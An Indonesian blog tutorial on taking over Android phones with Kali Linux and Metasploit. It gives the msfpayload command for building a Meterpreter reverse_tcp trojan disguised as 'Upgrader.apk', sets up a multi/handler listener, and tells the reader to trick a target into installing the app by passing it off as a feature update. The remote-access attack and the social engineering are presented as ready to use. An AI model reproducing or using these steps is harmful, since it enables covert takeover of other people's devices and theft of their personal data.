Semakin banyak pengguna Android, semakin banyak juga hacker yang berusaha meng-exploit Android baik itu sekedar iseng atau mencuri data pribadi pengguna.
Pada tutorial kali ini, kita akan belajar bagaimana cara nge-hack device Android apa saja dengan bantuan Kali Linux. Berikut ini langkah demi langkahnya:
Langkah 1:
Buka terminal, dan buatlah Trojan.apk
Caranya dengan mengetik kode ini:
msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.4 R > /root/Upgrader.apk
(ganti LHOST dengan IP kamu)
Langkah 2:
Buka terminal baru sambil menunggu file selesai dibuat.
Kemudian load metasploit console dengan mengetikkan msfconsole
Langkah 3:
Setelah berhasil loading (tunggu aja), load multi-handler exploit dengan mengetikkan:
use exploit/multi/handler
Buatlah sebuah (reverse) payload dengan mengetikkan:
set payload android/meterpreter/reverse_tcp
Cara nge-set Lhost ketikkan:
set LHOST 192.168.0.4
(Walaupun kamu lagi ngehack dalam jaringan WAN, ketikkan IP private/internal ya bukan yang public/external)
Langkah 4:
Ketikkan exploit untuk menjalankan listener.
Copy aplikasi yang telah kamu buat (Upgrader.apk) dari folder root ke smartphone Android kamu.
Kirim apk nya ke device target dan biarkan target menginstall app Upgrader (disini kamu bisa pake tipu muslihat kalau guna app ini adalah untuk update beberapa fitur pada smartphone-nya).
Ketika target ngeklik Open, exploit akan berjalan dan kamu akan mulai bisa mengakses Androidnya.
Bagaimanapun, opsi “Installation of apps from unknown sources” harus di-enabled di smartphone target. Kalau belum, pergilah ke Security settings untuk mengaktifkannya sehingga Trojan bisa terinstall.
Target harus menginstall/membuka app Trojan dulu, baru kita bisa mulai ngehack Android-nya target.
Yak itu tadi langkah-langkahnya. Selamat mencoba deh.
Tidak ada komentar:
Posting Komentar